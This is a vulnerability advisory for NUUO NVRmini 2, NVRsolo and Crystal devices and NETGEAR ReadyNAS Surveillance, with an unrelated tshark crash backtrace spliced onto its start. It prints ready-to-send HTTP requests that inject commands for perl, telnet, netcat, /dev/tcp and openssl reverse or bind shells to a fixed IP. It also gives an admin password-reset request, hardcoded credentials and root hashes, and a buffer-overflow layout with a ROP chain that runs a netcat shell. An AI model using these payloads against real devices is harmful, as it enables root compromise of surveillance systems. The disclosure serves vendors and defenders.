#36 0x00007ffff3cadd68 in call_dissector_with_data (handle=0x7fffeda50000, tvb=0xb03d20, pinfo=0xb04c18, tree=0x0, data=0x7fffffffcc20) at packet.c:2804
#37 0x00007ffff40a04d5 in dissect_eth_common (tvb=0xb03d20, pinfo=0xb04c18, parent_tree=0x0, fcs_len=-1) at packet-eth.c:540
#38 0x00007ffff40a106b in dissect_eth (tvb=0xb03d20, pinfo=0xb04c18, tree=0x0, data=0xad6928) at packet-eth.c:836
#39 0x00007ffff3caa711 in call_dissector_through_handle (handle=0x7fffedb5c7a0, tvb=0xb03d20, pinfo=0xb04c18, tree=0x0, data=0xad6928) at packet.c:660
#40 0x00007ffff3caa8a2 in call_dissector_work (handle=0x7fffedb5c7a0, tvb=0xb03d20, pinfo_arg=0xb04c18, tree=0x0, add_proto_name=1, data=0xad6928) at packet.c:735
#41 0x00007ffff3cab583 in dissector_try_uint_new (sub_dissectors=0x73c2c0, uint_val=1, tvb=0xb03d20, pinfo=0xb04c18, tree=0x0, add_proto_name=1, data=0xad6928) at packet.c:1199
#42 0x00007ffff40e9887 in dissect_frame (tvb=0xb03d20, pinfo=0xb04c18, parent_tree=0x0, data=0x7fffffffd380) at packet-frame.c:507
#43 0x00007ffff3caa711 in call_dissector_through_handle (handle=0x7fffeda51950, tvb=0xb03d20, pinfo=0xb04c18, tree=0x0, data=0x7fffffffd380) at packet.c:660
#44 0x00007ffff3caa8a2 in call_dissector_work (handle=0x7fffeda51950, tvb=0xb03d20, pinfo_arg=0xb04c18, tree=0x0, add_proto_name=1, data=0x7fffffffd380) at packet.c:735
#45 0x00007ffff3cadd25 in call_dissector_only (handle=0x7fffeda51950, tvb=0xb03d20, pinfo=0xb04c18, tree=0x0, data=0x7fffffffd380) at packet.c:2791
#46 0x00007ffff3cadd68 in call_dissector_with_data (handle=0x7fffeda51950, tvb=0xb03d20, pinfo=0xb04c18, tree=0x0, data=0x7fffffffd380) at packet.c:2804
#47 0x00007ffff3caa079 in dissect_record (edt=0xb04c00, file_type_subtype=1, phdr=0xad68c0, tvb=0xb03d20, fd=0x7fffffffd550, cinfo=0x0) at packet.c:543
#48 0x00007ffff3c9ebf9 in epan_dissect_run (edt=0xb04c00, file_type_subtype=1, phdr=0xad68c0, tvb=0xb03d20, fd=0x7fffffffd550, cinfo=0x0) at epan.c:365
#49 0x000000000041844c in process_packet_first_pass (cf=0x64f100 <cfile>, edt=0xb04c00, offset=20928, whdr=0xad68c0, pd=0xb04e20 "4\a\373\024t,\320\320\375+\004\300\b") at tshark.c:2694
#50 0x0000000000418dd7 in load_cap_file (cf=0x64f100 <cfile>, save_file=0x0, out_file_type=2, out_file_name_res=0, max_packet_count=-1, max_byte_count=0) at tshark.c:2988
#51 0x0000000000416fa0 in main (argc=5, argv=0x7fffffffdda8) at tshark.c:1873


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40199.zip
HireHackking 
>> Multiple vulnerabilities in NUUO NVRmini2 / NVRsolo / Crystal devices and NETGEAR ReadyNAS Surveillance application
>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security (http://www.agileinfosec.co.uk/)
==========================================================================
Disclosure: 04/08/2016 / Last updated: 04/08/2016


>> Background on the affected products:
"NUUO NVRmini 2 is the lightweight, portable NVR solution with NAS functionality. Setup is simple and easy, with automatic port forwarding settings built in. NVRmini 2 supports POS integration, making this the perfect solution for small retail chain stores. NVRmini 2 also comes full equipped as a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping and RAID functions for data protection. Choose NVR and know that your valuable video data is safe, always."
"NVRsolo is NUUO’s answer to hassle free, lightweight NVR system. It is small in size yet able to handle heavy duty tasks. With local HDMI/VGA display and keyboard/mouse input built right into the unit, configuring NVRsolo is easy and simple. Built on solid Linux foundation, we sacrificed nothing except unnecessary bulk to make NVRsolo the award winning standalone NVR solution you have been looking for. NVRsolo's flexibility doesn't end there. For those needing more storage options, we offer 8 bay versions to meet your needs."
"NUUO Crystal™ is the product that represents the next stage in VMS evolution. Rock solid, easily manageable, with powerful recording and viewing options available. Featuring revolutionary modular system structure that is made to handle large project size, NUUO Crystal™ is the ideal choice for your enterprise. Featuring technology that focuses on delivering stable video recording performance, recording failover, and 3rd party integration choice, you will be impressed with the stability and flexible options with NUUO Crystal™."
"(ReadyNAS Surveillance) NETGEAR combines leading storage and switching solutions together with sophisticated network video recording software to provide an affordable and easy to install and manage surveillance solution. Small businesses and corporate branch offices require a secure way to protect physical assets, but may lack deep security expertise or a big budget. A user-friendly NVR system should combine fast and flexible configuration with easy operation. With a few simple steps for installation, the web-based management leads users to configure, monitor and playback video everywhere. UPnP search, auto camera detection and GUI schedule save setting-up time, while the easy drag and drop camera, auto scan, preset point patrolling, and multiple views offer users a prime monitoring experience."


>> Summary:
NUUO is a vendor of Network Video Recording (NVR) systems for surveillance cameras. These NVR are Linux embedded video recording systems that can manage a number of cameras and are used worldwide by public institutions, banks, SME's, etc. They also provide a software package to NETGEAR that adds network video recording and monitoring capabilities to the well known NETGEAR ReadyNAS Network Attached Storage systems.

The web interface contains a number of critical vulnerabilities that can be abused by unauthenticated attackers. These consist of monitoring backdoors left in the PHP files that are supposed to be used by NUUO's engineers, hardcoded credentials, poorly sanitised input and a buffer overflow which can be abused to achieve code execution on NUUO's devices as root, and on NETGEAR as the admin user.

Although only the NVRmini 2, NVRsolo, Crystal and ReadyNAS Surveillance devices are known to be affected, it is likely that the same code is used in other NUUO devices or even other third party devices (the firmware is littered with references to other devices like NUUO Titan). However this has not been confirmed as it was not possible to access all NUUO and third party devices that might be using the same code.

A special thanks to CERT/CC (https://www.cert.org/) for assistance with disclosing the vulnerabilities to the vendors [1]. Metasploit exploits for #1, #2 and #3 have been released.


>> Technical details:
#1
Vulnerability: Improper Input Validation (leading to remote code execution)
CVE-2016-5674
Attack Vector: Remote
Constraints: None, can be exploited by an unauthenticated attacker
Affected products / versions:
- NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected)
- NUUO NVRsolo, firmware v1.0.0 to 3.0.0
- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected)
- Other NUUO products that share the same web interface might be affected

The web inteface contains a hidden file named __debugging_center_utils___.php that improperly sanitises input to the log parameter, which is passed to the PHP system() call (snippet below):

function print_file($file_fullpath_name)
{
    $cmd = "cat " . $file_fullpath_name;
    echo $file_fullpath_name . "\n\n";
    system($cmd);
}

<?php
    if (isset($_GET['log']) && !empty($_GET['log']))
    {
        $file_fullpath_name = constant('LOG_FILE_FOLDER') . '/' . basename($_GET['log']);
        print_file($file_fullpath_name);
    }
    else
    {
        die("unknown command.");
    }
?>

The file can be accessed by an unauthenticated user, and code execution can be achieved with the following proofs of concept:
- ReadyNAS Surveillance:
GET /__debugging_center_utils___.php?log=something%3bperl+-MIO%3a%3aSocket+-e+'$p%3dfork%3bexit,if($p)%3b$c%3dnew+IO%3a%3aSocket%3a%3aINET(PeerAddr,"192.168.1.204%3a9000")%3bSTDIN->fdopen($c,r)%3b$~->fdopen($c,w)%3bsystem$_+while<>%3b'
This will connect a shell back to 192.168.1.204 on port 9000, running as the "admin" user.

- NVRmini 2 and NVRsolo:
GET /__debugging_center_utils___.php?log=something%3btelnet+192.168.1.204+9999+|+bash+|+telnet+192.168.1.204+9998 
This will connect two shells to 192.168.1.204, one on port 9999 and another on port 9998. To execute commands, echo into the 9999 shell, and receive the output on the 9998 shell. Commands will run as the root user.


#2
Vulnerability: Improper Input Validation (leading to remote code execution)
CVE-2016-5675
Attack Vector: Remote
Constraints: Requires an administrator account
Affected products / versions:
- NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected)
- NUUO NVRsolo, firmware v1.0.0 to 3.0.0
- NUUO Crystal, firmware v2.2.1 to v3.2.0 (older firmware versions might be affected)
- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected)
- Other NUUO products that share the same web interface might be affected

The handle_daylightsaving.php page does not sanitise input from the NTPServer parameter correctly and passes it to a PHP system() command (code snippet below):
    else if ($act == 'update')
    {
        $cmd = sprintf("/usr/bin/ntpdate %s", $_GET['NTPServer']);
        
        $find_str = "time server";
        
        $sys_msg = system($cmd);
        $pos = strpos($sys_msg, $find_str);

The file can only be accessed by an authenticted user.
- ReadyNAS Surveillance:
GET /handle_daylightsaving.php?act=update&NTPServer=bla%3b+whoami+>+/tmp/test
This will create a /tmp/test file with the contents of "admin" (current user).

- NVRmini 2 and NVRsolo:
GET /handle_daylightsaving.php?act=update&NTPServer=bla%3brm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.1.204+9000+>/tmp/f
Connects a shell to 192.168.1.204, port 9000, running as root.

- Crystal:
GET /handle_daylightsaving.php?act=update&NTPServer=bla%3bbash+-i+>%26+/dev/tcp/192.168.1.204/4444+0>%26
Connects a shell to 192.168.1.204, port 4444, running as root.


#3
Vulnerability: Administrator password reset
CVE-2016-5676
Attack Vector: Remote
Constraints: None, can be exploited by an unauthenticated attacker
Affected products / versions:
- NUUO NVRmini 2, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication)
- NUUO NVRsolo, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication)
- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected)
- Other NUUO products that share the same web interface might be affected

On older versions of the firmware and in the ReadyNAS Surveillance application unauthenticated users can call the cgi_system binary from the web interface. This binary performs a number of sensitive system commands, such as the loading of the default configuration that resets the administrator password. It seems that at least versions 2.2.1 and 3.0.0 of the NVRmini 2 and NVRsolo firmware are not affected, so this vulnerability was fixed either on these or earlier versions, but ReadyNAS Surveillance is still vulnerable.

Proof of concept:
GET /cgi-bin/cgi_system?cmd=loaddefconfig

This will reset the admin password of the web interface to admin or password (depending on the firmware version) on all affected devices.


#4
Vulnerability: Information disclosure (system processes, available memory and filesystem status)
CVE-2016-5677
Attack Vector: Remote
Constraints: None, can be exploited by an unauthenticated attacker
Affected products / versions:
- NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected)
- NUUO NVRsolo, firmware v1.0.0 to 3.0.0
- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected)
- Other NUUO products that share the same web interface might be affected

The web interface contains a hidden page (__nvr_status___.php) with a hardcoded username and password that lists the current system processes, available memory and filesystem status. This information can be obtained by an unauthenticated user by performing the following request:
POST /__nvr_status___.php HTTP/1.1
username=nuuoeng&password=qwe23622260&submit=Submit


#5 
Vulnerability: Harcoded root password 
CVE-2016-5678
Affected products / versions:
- NUUO NVRmini 2, firmware v1.0.0 to 3.0.0 
- NUUO NVRsolo, firmware v1.0.0 to 3.0.0

The NVRmini 2 and NVRsolo contain two hardcoded root passwords (one is commented). These passwords have not been cracked, but they are present in the firmware images which are deployed to all NVRmini 2 / NVRsolo devices.

NVRmini 2:
  #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::
  root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7:::

NVRsolo:
  #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::
  root:$1$72ZFYrXC$aDYHvkWBGcRRgCrpSCpiw1:0:0:99999:7:::

  
#6 
Vulnerability: Command injection in cgi_main transfer license command
CVE-2016-5679
Attack Vector: Local / Remote
Constraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user
Affected products / versions:
- NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected)
- ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected)

The transfer_license command has a command injection vulnerability in the "sn" parameter:
cgi_main?cmd=transfer_license&method=offline&sn=";<command>;#

Sample exploit for NVRmini2 (open bind shell on port 4444):
GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn="%3bnc+-l+-p+4444+-e+/bin/sh+%26+%23

NETGEAR Surveillance doesn't have netcat, but we can get an openssl reverse shell to 192.168.133.204:4444 instead:
GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn="%3bmkfifo+/tmp/s%3b+/bin/bash+-i+<+/tmp/s+2>%261+|+openssl+s_client+-quiet+-connect+192.168.133.204%3a4444+>+/tmp/s%3b+rm+/tmp/s%3b%23

> Local exploitation:
This vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command:
CGI_DEBUG=qwe23622260 cgi_main transfer_license 'method=offline&sn=<PAYLOAD>'
The cgi_main binary is located at "/apps/surveillance/bin/cgi_main" on the ReadyNAS and "/NUUO/bin/cgi_main" on the NVRmini2.
      
      
#7 
Vulnerability: Stack buffer overflow in cgi_main transfer license command
CVE-2016-5680
Attack Vector: Local / Remote
Constraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user
- NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected)
- ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected)

The "sn" parameter in transfer_license cgi_main method not only has a command injection vulnerability, but also a stack buffer overflow. Below is the pseudocode of the affected function - as it can be seen in the sprintf line, the "sn" parameter is copied directly into a string with a fixed length of 128 characters.

Function 0x20BC9C (NVRmini2 firmware v3.0.0):
      method = getval("method");
      sn = getval("sn");
      (...)
      memset(&command, 0, 128);
      sprintf(&command, "logger -p local0.info -t 'system' \"Activate license: %s\"", sn);
      system(&command);

> For example if the following request is performed:
GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

> A core file is generated:
Core was generated by `/NUUO/bin/cgi_main'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x61616160 in ?? ()
(gdb) i r
r0             0x0	0
r1             0x0	0
r2             0x407aa4d0	1081779408
r3             0x407aa9e0	1081780704
r4             0x61616161	1633771873
r5             0x61616161	1633771873
r6             0x61616161	1633771873
r7             0x61616161	1633771873
r8             0x331fc8	3350472
r9             0x1	1
r10            0x33db54	3398484
r11            0x0	0
r12            0x1	1
sp             0xbedce528	0xbedce528
lr             0x61616161	1633771873
pc             0x61616160	0x61616160
cpsr           0x60000030	1610612784
(gdb) 

The request can be sent by an HTTP GET or POST method.

> A few registers can be controlled with the sn parameter, as it can be seen in the diagram below for the NVRmini2:
sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4444555566667777PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS

aaaa: filler
PPPP: pc / lr register content, offset 976
4444: r4 register content, offset 962
5555: r5 register content, offset 966
6666: r6 register content, offset 970
7777: r7 register content, offset 974
SSSS: start of stack pointer, offset 992

> On the ReadyNAS Surveillance one additional register (r8) can be controlled:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa44445555666677778888PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS

aaaa: filler
PPPP: pc / lr register content, offset 986
4444: r4 register content, offset 968
5555: r5 register content, offset 970
6666: r6 register content, offset 974
7777: r7 register content, offset 978
8888: r8 register content, offset 982
SSSS: start of stack pointer, offset 1002

> Exploit mitigations and constraints
The table below shows the exploit mitigation technologies for each target:
         NVRmini2   ReadyNAS
NX          Y          Y
RELRO    Partial    Partial
ASLR        N          Y

An additional constraint to keep in mind is that there can be no null bytes in the exploit as the vulnerability is in the sprintf copy operation (which uses a null byte as the string terminator).

> Exploitation in the NVRmini2 (firmware v3.0.0):
This example exploit creates a root bind shell on port 4444 using ROP gadgets to bypass NX. The gadgets were taken from libc-2.15.so, which is always loaded at 4066c000 in firmware 3.0.0.

0x00018ba0 : pop {r3, lr} ; bx lr -> located at 40684BA0 (first gadget, sets up r3 for the next gadget)
0x000f17cc : mov r0, sp ; blx r3 -> located at 4075D7CC (second gadget, set up args for system)
0x00039ffc : system() -> located at 406A5FFC (takes the argument from r0 - pointing to sp - and executes it)
Payload (in the stack) -> %6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26 ("nc -l -p 4444 -e /bin/sh &")

Illustration:
